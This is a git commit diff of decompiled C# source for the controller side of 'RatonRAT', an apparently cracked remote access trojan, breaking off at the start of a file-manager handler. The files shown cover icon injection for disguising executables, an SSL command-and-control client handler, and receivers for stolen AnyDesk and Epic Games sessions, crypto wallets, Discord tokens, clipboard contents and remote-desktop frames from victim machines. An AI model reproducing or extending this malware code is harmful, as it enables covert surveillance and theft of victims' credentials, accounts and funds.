initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
@@ -0,0 +1,169 @@
// Decompiled with JetBrains decompiler
// Type: Server.Classes.ResourceModifier
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
#nullable disable
namespace Server.Classes;
public static class ResourceModifier
{
public static void ChangeIcon(string exeFileName, string iconFileName)
{
ResourceModifier.InjectIcon(exeFileName, iconFileName, 1U, 1U);
}
public static void InjectIcon(
string exeFileName,
string iconFileName,
uint iconGroupID,
uint iconBaseID)
{
ResourceModifier.IconFile iconFile = ResourceModifier.IconFile.FromFile(iconFileName);
IntPtr hUpdate = ResourceModifier.NativeMethods.BeginUpdateResource(exeFileName, false);
byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID);
ResourceModifier.NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr((long) iconGroupID), (short) 0, iconGroupData, iconGroupData.Length);
for (int index = 0; index <= iconFile.ImageCount - 1; ++index)
{
byte[] data = iconFile.ImageData(index);
ResourceModifier.NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr((long) iconBaseID + (long) index), (short) 0, data, data.Length);
}
ResourceModifier.NativeMethods.EndUpdateResource(hUpdate, false);
}
[SuppressUnmanagedCodeSecurity]
private class NativeMethods
{
[DllImport("kernel32")]
public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateResource(
IntPtr hUpdate,
IntPtr type,
IntPtr name,
short language,
[MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data,
int dataSize);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
}
private struct ICONDIR
{
public ushort Reserved;
public ushort Type;
public ushort Count;
}
private struct ICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public int ImageOffset;
}
private struct BITMAPINFOHEADER
{
public uint Size;
public int Width;
public int Height;
public ushort Planes;
public ushort BitCount;
public uint Compression;
public uint SizeImage;
public int XPelsPerMeter;
public int YPelsPerMeter;
public uint ClrUsed;
public uint ClrImportant;
}
[StructLayout(LayoutKind.Sequential, Pack = 2)]
private struct GRPICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public ushort ID;
}
private class IconFile
{
private ResourceModifier.ICONDIR iconDir;
private ResourceModifier.ICONDIRENTRY[] iconEntry;
private byte[][] iconImage;
public int ImageCount => (int) this.iconDir.Count;
public byte[] ImageData(int index) => this.iconImage[index];
public static ResourceModifier.IconFile FromFile(string filename)
{
ResourceModifier.IconFile iconFile = new ResourceModifier.IconFile();
byte[] src = File.ReadAllBytes(filename);
GCHandle gcHandle = GCHandle.Alloc((object) src, GCHandleType.Pinned);
iconFile.iconDir = (ResourceModifier.ICONDIR) Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), typeof (ResourceModifier.ICONDIR));
iconFile.iconEntry = new ResourceModifier.ICONDIRENTRY[(int) iconFile.iconDir.Count];
iconFile.iconImage = new byte[(int) iconFile.iconDir.Count][];
int num1 = Marshal.SizeOf<ResourceModifier.ICONDIR>(iconFile.iconDir);
Type type = typeof (ResourceModifier.ICONDIRENTRY);
int num2 = Marshal.SizeOf(type);
for (int index = 0; index <= (int) iconFile.iconDir.Count - 1; ++index)
{
ResourceModifier.ICONDIRENTRY structure = (ResourceModifier.ICONDIRENTRY) Marshal.PtrToStructure(new IntPtr(gcHandle.AddrOfPinnedObject().ToInt64() + (long) num1), type);
iconFile.iconEntry[index] = structure;
iconFile.iconImage[index] = new byte[structure.BytesInRes];
Buffer.BlockCopy((Array) src, structure.ImageOffset, (Array) iconFile.iconImage[index], 0, structure.BytesInRes);
num1 += num2;
}
gcHandle.Free();
return iconFile;
}
public byte[] CreateIconGroupData(uint iconBaseID)
{
byte[] iconGroupData = new byte[Marshal.SizeOf(typeof (ResourceModifier.ICONDIR)) + Marshal.SizeOf(typeof (ResourceModifier.GRPICONDIRENTRY)) * this.ImageCount];
GCHandle gcHandle1 = GCHandle.Alloc((object) iconGroupData, GCHandleType.Pinned);
Marshal.StructureToPtr<ResourceModifier.ICONDIR>(this.iconDir, gcHandle1.AddrOfPinnedObject(), false);
int num = Marshal.SizeOf<ResourceModifier.ICONDIR>(this.iconDir);
for (int index = 0; index <= this.ImageCount - 1; ++index)
{
ResourceModifier.GRPICONDIRENTRY structure = new ResourceModifier.GRPICONDIRENTRY();
ResourceModifier.BITMAPINFOHEADER bitmapinfoheader = new ResourceModifier.BITMAPINFOHEADER();
GCHandle gcHandle2 = GCHandle.Alloc((object) bitmapinfoheader, GCHandleType.Pinned);
Marshal.Copy(this.ImageData(index), 0, gcHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof (ResourceModifier.BITMAPINFOHEADER)));
gcHandle2.Free();
structure.Width = this.iconEntry[index].Width;
structure.Height = this.iconEntry[index].Height;
structure.ColorCount = this.iconEntry[index].ColorCount;
structure.Reserved = this.iconEntry[index].Reserved;
structure.Planes = bitmapinfoheader.Planes;
structure.BitCount = bitmapinfoheader.BitCount;
structure.BytesInRes = this.iconEntry[index].BytesInRes;
structure.ID = Convert.ToUInt16((long) iconBaseID + (long) index);
Marshal.StructureToPtr<ResourceModifier.GRPICONDIRENTRY>(structure, new IntPtr(gcHandle1.AddrOfPinnedObject().ToInt64() + (long) num), false);
num += Marshal.SizeOf(typeof (ResourceModifier.GRPICONDIRENTRY));
}
gcHandle1.Free();
return iconGroupData;
}
}
}
+369
View File
@@ -0,0 +1,369 @@
// Decompiled with JetBrains decompiler
// Type: Server.Connection.SillyClient
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Stuff;
using System;
using System.Buffers;
using System.Collections.Concurrent;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
using WpfApp1;
#nullable disable
namespace Server.Connection;
public sealed class SillyClient
{
public const int OneMb = 1048576 /*0x100000*/;
public const int MaxPacketSize = 5242880 /*0x500000*/;
private const int WorkerCount = 6;
private const int QueueCap = 5000;
private const int IdleMs = 120000;
private const int MaxPPS = 1000;
private int pingStarted;
private CancellationTokenSource pingCts;
private readonly TcpClient tcpClient;
private readonly SslStream sslStream;
private readonly CancellationTokenSource cts = new CancellationTokenSource();
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
private readonly byte[] sizeBuf = new byte[4];
private readonly Timer idleTimer;
private readonly BlockingCollection<byte[]> queue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
private int disconnectedFlag;
private int packetsThisSecond;
private int rateWindowStart;
public readonly ConcurrentDictionary<string, bool> EndSent = new ConcurrentDictionary<string, bool>();
public readonly ConcurrentDictionary<string, DateTime> LastChunkSent = new ConcurrentDictionary<string, DateTime>();
public readonly ConcurrentDictionary<string, int> RetryCount = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, int> ChunksAcked = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, int> TotalChunksById = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, byte[]> DllBytesById = new ConcurrentDictionary<string, byte[]>();
public readonly ConcurrentDictionary<string, string> DllHashById = new ConcurrentDictionary<string, string>();
public string uid { get; set; }
public string password { get; set; }
public ClientRow ClientModel { get; set; }
public event Action<SillyClient> Disconnected;
public SillyClient(TcpClient tcp, SslStream ssl)
{
this.tcpClient = tcp;
this.sslStream = ssl;
this.tcpClient.NoDelay = true;
SillyClient.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
this.rateWindowStart = Environment.TickCount;
this.idleTimer = new Timer((TimerCallback) (_ => this.Disconnect()), (object) null, 120000, -1);
Task.Run(new Func<Task>(this.ReceiveLoop));
for (int index = 0; index < 6; ++index)
Task.Run(new Func<Task>(this.WorkerLoop));
}
public void EnsurePingLoop()
{
if (Interlocked.Exchange(ref this.pingStarted, 1) != 0)
return;
this.pingCts = new CancellationTokenSource();
Task.Run((Func<Task>) (() => this.PingLoop(this.pingCts.Token)));
}
private async Task PingLoop(CancellationToken token)
{
try
{
while (!token.IsCancellationRequested)
{
ConfiguredTaskAwaitable configuredTaskAwaitable = Task.Delay(20000, token).ConfigureAwait(false);
await configuredTaskAwaitable;
if (!this.isConnected())
break;
Pack pack = new Pack();
pack.SetString("Packet", "Ping");
pack.SetString("Message", "From Server: Hello!");
configuredTaskAwaitable = this.Send(pack.Pacc()).ConfigureAwait(false);
await configuredTaskAwaitable;
}
}
catch
{
}
finally
{
Interlocked.Exchange(ref this.pingStarted, 0);
}
}
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
byte[] optionInValue = new byte[12];
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
}
private async Task ReceiveLoop()
{
SillyClient sillyClient1 = this;
try
{
while (!sillyClient1.cts.IsCancellationRequested)
{
await sillyClient1.ReadExact(sillyClient1.sizeBuf, 4).ConfigureAwait(false);
int len = BitConverter.ToInt32(sillyClient1.sizeBuf, 0);
if (len <= 0 || len > 5242880 /*0x500000*/)
throw new IOException($"Invalid packet size: {len}");
int tickCount = Environment.TickCount;
if (tickCount - sillyClient1.rateWindowStart >= 1000)
{
sillyClient1.rateWindowStart = tickCount;
sillyClient1.packetsThisSecond = 0;
}
SillyClient sillyClient2 = sillyClient1;
int num1 = sillyClient1.packetsThisSecond + 1;
int num2 = num1;
sillyClient2.packetsThisSecond = num2;
if (num1 > 1000)
throw new IOException("Rate limit exceeded");
MainWindow form2 = MainWindow.form2;
if (form2 != null)
Interlocked.Add(ref form2.received, (long) len);
byte[] rented = ArrayPool<byte>.Shared.Rent(len);
try
{
await sillyClient1.ReadExact(rented, len).ConfigureAwait(false);
byte[] dst = new byte[len];
Buffer.BlockCopy((Array) rented, 0, (Array) dst, 0, len);
sillyClient1.idleTimer.Change(120000, -1);
if (!sillyClient1.queue.IsAddingCompleted)
{
if (!sillyClient1.queue.TryAdd(dst, 2000))
throw new IOException("Packet queue saturated");
}
}
finally
{
ArrayPool<byte>.Shared.Return(rented);
}
rented = (byte[]) null;
}
}
catch (OperationCanceledException ex)
{
}
catch
{
await sillyClient1.Disconnect().ConfigureAwait(false);
}
finally
{
try
{
sillyClient1.queue.CompleteAdding();
}
catch
{
}
}
}
private Task WorkerLoop()
{
return Task.Run((Func<Task>) (async () =>
{
SillyClient sillyClient = this;
try
{
foreach (byte[] consuming in sillyClient.queue.GetConsumingEnumerable(sillyClient.cts.Token))
{
try
{
await new HandlePacket()
{
SillyClient = sillyClient,
packet = consuming
}.Run((object) null).ConfigureAwait(false);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
catch (OperationCanceledException ex)
{
}
catch (Exception ex)
{
MainWindow.form2?.AddErrorLog((object) $"Worker fatal ({sillyClient.uid}): {ex.Message}");
}
}));
}
private async Task ReadExact(byte[] buffer, int length)
{
int num;
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
{
for (int read = 0; read < length; read += num)
{
num = await this.sslStream.ReadAsync(buffer, read, length - read, linked.Token).ConfigureAwait(false);
if (num <= 0)
throw new IOException("Remote endpoint closed");
}
}
}
}
public async Task Send(byte[] data)
{
if (this.disconnectedFlag == 1 || data == null || data.Length == 0)
return;
await this.sendLock.WaitAsync().ConfigureAwait(false);
try
{
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
{
MainWindow stats = MainWindow.form2;
byte[] size = BitConverter.GetBytes(data.Length);
await this.sslStream.WriteAsync(size, 0, size.Length, linked.Token).ConfigureAwait(false);
if (stats != null)
Interlocked.Add(ref stats.sent, (long) size.Length);
int chunk;
for (int offset = 0; offset < data.Length; offset += chunk)
{
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
await this.sslStream.WriteAsync(data, offset, chunk, linked.Token).ConfigureAwait(false);
if (stats != null)
Interlocked.Add(ref stats.sent, (long) chunk);
}
stats = (MainWindow) null;
size = (byte[]) null;
}
}
}
catch
{
await this.Disconnect().ConfigureAwait(false);
}
finally
{
this.sendLock.Release();
}
}
public Task Disconnect() => this.DisconnectInternal();
private async Task DisconnectInternal()
{
SillyClient sillyClient = this;
if (Interlocked.Exchange(ref sillyClient.disconnectedFlag, 1) != 0)
return;
try
{
sillyClient.pingCts?.Cancel();
}
catch
{
}
try
{
sillyClient.idleTimer?.Dispose();
}
catch
{
}
try
{
sillyClient.queue.CompleteAdding();
}
catch
{
}
try
{
sillyClient.cts.Cancel();
}
catch
{
}
try
{
sillyClient.sslStream?.Dispose();
}
catch
{
}
try
{
sillyClient.tcpClient?.Dispose();
}
catch
{
}
await sillyClient.UpdateUI().ConfigureAwait(false);
Action<SillyClient> disconnected = sillyClient.Disconnected;
if (disconnected == null)
return;
disconnected(sillyClient);
}
private Task UpdateUI()
{
MainWindow panel = MainWindow.form2;
return panel == null || this.ClientModel == null ? Task.CompletedTask : panel.Dispatcher.InvokeAsync((Action) (() =>
{
try
{
ClientStorage.Add(new StoredClient()
{
UID = this.uid,
Password = this.password,
IP = this.ClientModel.Client,
Group = this.ClientModel.Tag,
UserMachine = this.ClientModel.User,
OS = this.ClientModel.OS,
Version = this.ClientModel.Version,
Executing = this.ClientModel.Running,
AV = this.ClientModel.AV,
Status = this.ClientModel.Status,
Clock = this.ClientModel.Date,
Payload = this.ClientModel.Payload,
Country = (string) null
});
this.ClientModel.Status = "Disconnected";
panel.ClientsGrid.Items.Refresh();
panel.AddErrorLog((object) $"Client {this.ClientModel.Client} disconnected");
int num1 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
int num2 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
panel.StatOnline.Text = num1.ToString();
panel.StatOffline.Text = num2.ToString();
}
catch
{
}
})).Task;
}
public bool isConnected()
{
if (this.disconnectedFlag != 0)
return false;
TcpClient tcpClient = this.tcpClient;
return tcpClient != null && tcpClient.Connected;
}
}
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleAnydesk
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleAnydesk
{
public HandleAnydesk(SillyClient client, Unpack rip2pac)
{
ratonAnyDesk ratonTelegram = (ratonAnyDesk) Application.OpenForms["Anydesk | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the anydesk session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nAnydesk stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
+33
View File
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleChat
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleChat
{
public HandleChat(SillyClient SillyClient, Unpack unpack)
{
ratonChat formChat = (ratonChat) Application.OpenForms["Chat | Client ID: " + unpack.GetAsString("UID")];
if (formChat == null)
return;
if (formChat.SillyClient == null)
formChat.SillyClient = SillyClient;
formChat.Invoke((Delegate) (() =>
{
ListViewItem listViewItem = new ListViewItem(unpack.GetAsString("Message"));
listViewItem.ImageIndex = 0;
formChat.aeroListView1.Items.Add(listViewItem);
listViewItem.EnsureVisible();
}));
}
}
@@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleClipboard
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Misc;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleClipboard
{
public HandleClipboard(SillyClient SillyClient, Unpack msgUnpack)
{
ratonClipboard clipboard = (ratonClipboard) Application.OpenForms["Clipboard | Client ID: " + msgUnpack.GetAsString("UID")];
if (clipboard == null)
return;
if (clipboard.SillyClient == null)
clipboard.SillyClient = SillyClient;
clipboard.Invoke((Delegate) (() =>
{
clipboard.textBox1.Text = msgUnpack.GetAsString("Text");
clipboard.textBox1.ForeColor = System.Drawing.Color.White;
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the client clipboard", (object) System.Drawing.Color.LightGreen)));
}));
Notification.Show($"RatonRAT • {msgUnpack.GetAsString("UID")}\nClipboard has been loaded", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
}
+35
View File
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleCrypto
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleCrypto
{
public HandleCrypto(SillyClient client, Unpack rip2pac)
{
ratonCrypto ratonTelegram = (ratonCrypto) Application.OpenForms["Crypto | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the crypto .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nCrypto stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
+102
View File
@@ -0,0 +1,102 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleDesktop
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleDesktop
{
private bool screensSaved;
public void Run(SillyClient client, Unpack unpack)
{
if (unpack.GetAsString("Packet") != "RemoteDesktop")
return;
string asString = unpack.GetAsString("Action");
string uid = unpack.GetAsString("UID");
ratonDesktop form = (ratonDesktop) null;
if (Application.OpenForms.Count > 0)
{
Form openForm = Application.OpenForms[0];
if (openForm.InvokeRequired)
openForm.Invoke((Delegate) (() => form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed))));
else
form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed));
}
if (form == null)
return;
if (form.SillyClient == null)
form.SillyClient = client;
if (asString == "Screens")
this.HandleScreens(form, unpack);
if (!(asString == "Frame"))
return;
this.HandleFrame(form, unpack);
}
private void HandleScreens(ratonDesktop form, Unpack unpack)
{
if (this.screensSaved)
return;
int screens;
try
{
screens = unpack.GetAsInteger("Screens");
}
catch
{
return;
}
form.BeginInvoke((Delegate) (() =>
{
form.flatComboBox1.Items.Clear();
for (int index = 0; index < screens; ++index)
form.flatComboBox1.Items.Add((object) ("RatonScreen_" + index.ToString()));
if (screens > 0)
form.flatComboBox1.SelectedIndex = 0;
this.screensSaved = true;
}));
}
private void HandleFrame(ratonDesktop form, Unpack unpack)
{
try
{
byte[] asByteArray = unpack.GetAsByteArray("ImageBytes");
if (asByteArray == null || asByteArray.Length == 0)
return;
Image img;
using (MemoryStream memoryStream = new MemoryStream(asByteArray))
{
using (Image original = Image.FromStream((Stream) memoryStream))
img = (Image) new Bitmap(original);
}
form.BeginInvoke((Delegate) (() =>
{
lock (form.OneByOne)
{
form.pictureBox1.Image?.Dispose();
form.pictureBox1.Image = img;
form.imageSize = new Point(img.Width, img.Height);
++form.FPS;
}
}));
}
catch (Exception ex)
{
Console.WriteLine("Error");
}
}
}
@@ -0,0 +1,143 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleDeviceManager
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleDeviceManager
{
public HandleDeviceManager(SillyClient client, Unpack msgUnpack)
{
if (!(Application.OpenForms["Device manager | Client ID: " + msgUnpack.GetAsString("UID")] is ratonDevice openForm))
return;
switch (msgUnpack.GetAsString("Type"))
{
case "Devices":
this.LoadDevicesSafe(openForm, msgUnpack.GetAsString("Data"));
break;
case "Status":
this.HandleStatusSafe(openForm, msgUnpack.GetAsString("DeviceId"), msgUnpack.GetAsString("Action"), msgUnpack.GetAsString("Success"), msgUnpack.GetAsString("Message"));
break;
}
}
private void LoadDevices(ratonDevice form, string data)
{
foreach (TreeNode node in form.treeView1.Nodes)
node.Nodes.Clear();
if (string.IsNullOrEmpty(data))
return;
string[] strArray1 = data.Split('|');
for (int index = 0; index + 1 < strArray1.Length; index += 2)
{
string category = strArray1[index];
string[] strArray2 = strArray1[index + 1].Split('~');
TreeNode categoryNode = this.FindCategoryNode(form.treeView1, category);
if (categoryNode != null)
{
foreach (string str1 in strArray2)
{
if (!string.IsNullOrEmpty(str1))
{
string[] strArray3 = str1.Split('^');
if (strArray3.Length >= 2)
{
string str2 = strArray3[0];
string text = strArray3[1];
string str3 = strArray3.Length > 2 ? strArray3[2] : "";
string str4 = strArray3.Length > 3 ? strArray3[3] : "";
TreeNode node = new TreeNode(text);
node.Tag = (object) str1;
node.ToolTipText = $"Status: {str3}\nDriver: {str4}\nID: {str2}";
if (str3.Equals("Error", StringComparison.OrdinalIgnoreCase) || str3.Equals("Degraded", StringComparison.OrdinalIgnoreCase))
node.ForeColor = Color.Red;
else if (str3.Equals("Unknown", StringComparison.OrdinalIgnoreCase))
node.ForeColor = Color.Gray;
categoryNode.Nodes.Add(node);
}
}
}
categoryNode.Text = $"{category} ({categoryNode.Nodes.Count.ToString()})";
}
}
}
private TreeNode FindCategoryNode(TreeView tree, string category)
{
foreach (TreeNode node in tree.Nodes)
{
if (node.Name == category)
return node;
}
return (TreeNode) null;
}
private void HandleStatus(
ratonDevice form,
string deviceId,
string action,
string successStr,
string message)
{
bool flag = !string.IsNullOrEmpty(successStr) && successStr.Equals("True", StringComparison.OrdinalIgnoreCase);
if (string.IsNullOrWhiteSpace(message) || message == "null")
message = "Unknown error";
string str;
switch (action)
{
case "Enable":
str = "enabling";
break;
case "Disable":
str = "disabling";
break;
case "UpdateDriver":
str = "updating";
break;
default:
str = action;
break;
}
if (flag)
{
int num = (int) Messenger.MessageBox($"Device {str} successful", "Device Manager", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
form.RequestRefresh();
}
else
{
int num1 = (int) Messenger.MessageBox($"Error {str} the device:\n{message}", "Device Manager", icon: MessageBoxIcon.Hand);
}
}
private void LoadDevicesSafe(ratonDevice form, string data)
{
if (form.InvokeRequired)
form.Invoke((Delegate) (() => this.LoadDevices(form, data)));
else
this.LoadDevices(form, data);
}
private void HandleStatusSafe(
ratonDevice form,
string deviceId,
string action,
string success,
string message)
{
if (form.InvokeRequired)
form.Invoke((Delegate) (() => this.HandleStatus(form, deviceId, action, success, message)));
else
this.HandleStatus(form, deviceId, action, success, message);
}
}
@@ -0,0 +1,39 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleDiscord
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.IO;
#nullable disable
namespace Server.Handlers;
internal class HandleDiscord
{
public HandleDiscord(SillyClient client, Unpack unpack)
{
try
{
string asString1 = unpack.GetAsString("UID");
string asString2 = unpack.GetAsString("Token");
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
return;
string str1 = Path.Combine(Program.ClientsFolder, asString1);
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
string filePath = Path.Combine(str1, $"DiscordTokens_{str2}.txt");
File.WriteAllText(filePath, asString2);
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Discord tokens: " + filePath), (object) System.Drawing.Color.LightGreen)));
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nDiscord stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
catch
{
}
}
}
+35
View File
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleEpic
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleEpic
{
public HandleEpic(SillyClient client, Unpack rip2pac)
{
ratonEpic ratonTelegram = (ratonEpic) Application.OpenForms["Epic | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the epic game session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nEpic games stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
@@ -0,0 +1,148 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleFileManager
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
